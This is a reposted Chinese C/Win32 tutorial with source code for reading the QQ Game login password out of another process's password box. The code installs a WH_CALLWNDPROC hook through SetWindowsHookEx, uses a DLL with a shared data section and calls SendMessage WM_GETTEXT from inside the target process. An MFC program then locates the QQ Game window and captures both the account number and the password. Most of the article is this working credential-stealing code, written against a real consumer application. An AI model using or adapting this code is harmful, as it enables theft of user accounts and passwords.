轉(zhuǎn)帖|其它|編輯:郝浩|2011-07-08 17:36:30.000|閱讀 992 次
概述:本文主要介紹C語言通過HOOK獲取QQ游戲登錄密碼,希望對大家有幫助。
# 界面/圖表報表/文檔/IDE等千款熱門軟控件火熱銷售中 >>
//通過HOOK獲取QQ游戲登錄密碼
不得不先說一下API函數(shù)SendMessage:
使用SendMessage向編輯框窗口發(fā)送WM_GETTEST消息,可以輕易獲取到編輯框的內(nèi)容(就算這個窗口不屬于同一進程)。
但是有一個特例,那就是當編輯框窗口具有ES_PASSWORD風格(即密碼輸入框)且不輸入同一進程時,使用上面的方法就失效了。
通俗的說,就是當你要使用SendMessage讀取的密碼框不屬于同一個進程時,是讀取不到任何內(nèi)容的。
這也許是微軟從安全角度考慮做的手腳吧。
如何解決這個問題?
如果我們能將SendMessage放到目標進程中執(zhí)行問題就解決了。因為屬于同一個進程時使用SendMessage是可以讀取到密碼框的內(nèi)容的。
如何將SendMessage放到目標進程中執(zhí)行呢?使用HOOK(或者進程注入)。
關(guān)于鉤子(HOOK)
鉤子(Hook),是Windows消息處理機制的一個平臺,應用程序可以在上面設置子程以監(jiān)視指定窗口的某種消息,而且所監(jiān)視的窗口可以是其他進程所創(chuàng)建的。
當消息到達后,在目標窗口處理函數(shù)之前處理它。鉤子機制允許應用程序截獲處理window消息或特定事件。
鉤子實際上是一個處理消息的程序段,通過系統(tǒng)調(diào)用,把它掛入系統(tǒng)。每當特定的消息發(fā)出,在沒有到達目的窗口前,鉤子程序就先捕獲該消息,亦即鉤子函數(shù)先得到控制權(quán)。
這時鉤子函數(shù)即可以加工處理(改變)該消息,也可以不作處理而繼續(xù)傳遞該消息,還可以強制結(jié)束消息的傳遞。
如何安裝一個鉤子?
使用API函數(shù)SetWindowsHookEx,原型及參數(shù)說明如下
HHOOK SetWindowsHookEx(
int idHook, // 鉤子的類型,本例采用WH_CALLWNDPROC(窗口過程鉤子)
HOOKPROC lpfn, // 鉤子函數(shù)地址(即鉤子函數(shù)的函數(shù)名)
HINSTANCE hMod, // 鉤子函數(shù)所在的應用程序?qū)嵗浔ū纠秊镈LL的句柄)
DWORD dwThreadId // 目標線程ID,即鉤子的宿主線程
);
注意:當最后一個參數(shù)為0時表示安裝的是全局鉤子,此時要求鉤子函數(shù)必須要在DLL中。
MSDN上關(guān)于這個函數(shù)的說明很詳細的。
準備活動做完了。下面是本程序的實現(xiàn):
(1) GetWindowTextRemote.DLL
該DLL導出了一個函數(shù)GetWindowTextRemote,其它應用程序通過調(diào)用這個函數(shù)就能實現(xiàn)對其它應用程序密碼編輯框內(nèi)容的讀取。
//-------------------------------------------------------
// GetWindowTextRemote
// 插入本DLL到遠程進程
// 從遠程編輯框控件中獲取密碼
//
// 返回值:讀取到的密碼字符數(shù)
//-------------------------------------------------------
__declspec(dllexport) int GetWindowTextRemote(HWND hWnd, LPSTR lpString)
{
g_hWnd = hWnd;
//給目標進程安裝一個窗口過程鉤子
g_hHook = SetWindowsHookEx(WH_CALLWNDPROC,(HOOKPROC)HookProc,
hDll, GetWindowThreadProcessId(hWnd,NULL) );
if( g_hHook==NULL ) {
lpString[0] = '\0';
return 0;
}
//注冊一個消息,用于通知遠程進程讀取密碼
if (WM_HOOKSPY == 0)
WM_HOOKSPY = RegisterWindowMessage( "WM_HOOKSPY_RK" );
// 向遠程進程發(fā)送讀取消息,觸發(fā)其讀取密碼
SendMessage( hWnd,WM_HOOKSPY,0,0 );
strcpy( lpString,g_szPassword );
return strlen(lpString);
}
另一個重要的函數(shù)就是鉤子過程了:
//-------------------------------------------------------
// HookProc
// 由遠程進程執(zhí)行
//-------------------------------------------------------
#define pCW ((CWPSTRUCT*)lParam)
LRESULT HookProc (
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
//接收到讀取密碼消息
if( pCW->message == WM_HOOKSPY ) {
MessageBeep(MB_OK);
//讀取密碼編輯框的內(nèi)容
SendMessage( g_hWnd,WM_GETTEXT,128,(LPARAM)g_szPassword );
//卸載鉤子
UnhookWindowsHookEx(g_hHook );
}
//將消息處理權(quán)轉(zhuǎn)讓給下一個鉤子函數(shù)
return CallNextHookEx(g_hHook, code, wParam, lParam);
}
注意:安裝Hook的進程加載DLL,別的進程在運行的過程中,由系統(tǒng)在該進程空間注入這個DLL。所謂注入就是把Hook DLL的執(zhí)行代碼映射到這個進程的內(nèi)存空間。
雖然進程有若干個,可是該DLL的執(zhí)行代碼只有一份。
不同的進程全局Hook DLL的執(zhí)行代碼是共享的,可是全局變量并不共享(這樣可以實現(xiàn)某種程度的隔離,對于增進系統(tǒng)的穩(wěn)定性和安全性是很有必要的)。
但是如果全局變量不共享,進程通信就會受限,比如本例中,在目標進程中使用SendMessage獲取到的密碼如何傳遞給安裝HOOK的進程就是一個問題?
解決這個問題的方法就是使用共享節(jié),通過共享節(jié)可以使全部變量實現(xiàn)共享。如下所示:
//-------------------------------------------------------
// 共享數(shù)據(jù)區(qū)
// 共享數(shù)據(jù)區(qū)中的數(shù)據(jù)在DLL被映射的進程中都是共享的
//-------------------------------------------------------
#pragma data_seg (".shared")
HWND g_hWnd = 0; //要讀取的編輯框控件句柄
HHOOK g_hHook = 0; //HOOK句柄
UINT WM_HOOKSPY = 0; //自定義消息,通知遠程進程讀取編輯框控件的內(nèi)容
char g_szPassword [256] = { '\0' }; //保存編輯框控件的緩存區(qū)
#pragma data_seg ()
使用共享節(jié)時要添加如下的鏈接選項:
#pragma comment(linker,"/SECTION:.shared,RWS")
到此,DLL的內(nèi)就結(jié)束了。
在此特別感謝codeproject的Robert Kuster,如果不是看了他的《Three Ways to Inject Your Code into Another Process》,也不會有我的這篇日志。
完整的代碼在附件中。
(2)測試程序-獲取QQ游戲登錄密碼
接下來就是我們的測試程序了,這個測試程序?qū)崿F(xiàn)的功能就是“獲得QQ游戲登錄框中的QQ號和密碼”,這是一個MFC程序,關(guān)鍵代碼如下所示:
我為什么不獲取QQ聊天登錄窗口上的密碼而要獲取QQ游戲登錄窗口上的QQ密碼呢?
這是因為QQ聊天登錄時,QQ程序做了特殊處理(Nprotect鍵盤加密技術(shù)),使用HOOK也是讀取不到密碼的。但QQ游戲登錄時卻沒有這樣的保護。
//先獲取QQ游戲登錄窗口的句柄,然后遍歷子窗口,查找號碼輸入框和密碼輸入框
void CGetWindowTextRemoteTestDlg::OnGetremotetext()
{
HWND parenthwnd=0;
HWND childhwnd=0;
DWORD style=0;
char tempbuf[256]={0};
//獲取QQ游戲登錄窗口句柄
parenthwnd=::FindWindow(NULL,"QQ游戲");
if(parenthwnd)
{
//遍歷子窗口,查找QQ號和密碼輸入框
childhwnd=::GetWindow(parenthwnd,GW_CHILD);
childhwnd=::GetWindow(childhwnd,GW_HWNDFIRST);
while(childhwnd)
{
memset(tempbuf,0,256);
::GetClassName(childhwnd,tempbuf,256);
style=::GetWindowLong(childhwnd,GWL_STYLE);
//號碼輸入框
//遠程進程的非密碼框內(nèi)容可以直接采用SendMessage發(fā)送WM_GETTEXT獲取到
if(0x50010202==style)//號碼輸入框的樣式是0x50010202,這是使用Spy++查看得知的。
{
memset(tempbuf,0,256);
::SendMessage(childhwnd,WM_GETTEXT,256,(LPARAM)tempbuf);
this->SetDlgItemText(IDC_NUMBER,tempbuf);
}
//密碼輸入框
//遠程進程的密碼框內(nèi)容采用HOOK WH_CALLWNDPROC獲取
if(0x52010020==style)
{
Getremotetext(childhwnd,tempbuf);
this->SetDlgItemText(IDC_PASSWORD,tempbuf);
}
childhwnd=::GetWindow(childhwnd,GW_HWNDNEXT);
}
}
}
//動態(tài)調(diào)用GetWindowTextRemote.DLL中的GetWindowTextRemote函數(shù)讀取遠程進程的密碼編輯框內(nèi)容
int Getremotetext(HWND hwnd,LPSTR tempbuf)
{
typedef int ( *GetWindowTextRemote)(HWND hWnd, LPSTR lpString);
GetWindowTextRemote getwindowtextremote=NULL;
HINSTANCE hDll=0;
int ret=0;
hDll=::LoadLibrary("GetWindowTextRemote.dll");
getwindowtextremote=(GetWindowTextRemote)::
GetProcAddress(hDll,"GetWindowTextRemote");
ret=getwindowtextremote(hwnd,tempbuf);
return ret;
}
本站文章除注明轉(zhuǎn)載外,均為本站原創(chuàng)或翻譯。歡迎任何形式的轉(zhuǎn)載,但請務必注明出處、不得修改原文相關(guān)鏈接,如果存在內(nèi)容上的異議請郵件反饋至chenjj@fc6vip.cn
文章轉(zhuǎn)載自:網(wǎng)絡轉(zhuǎn)載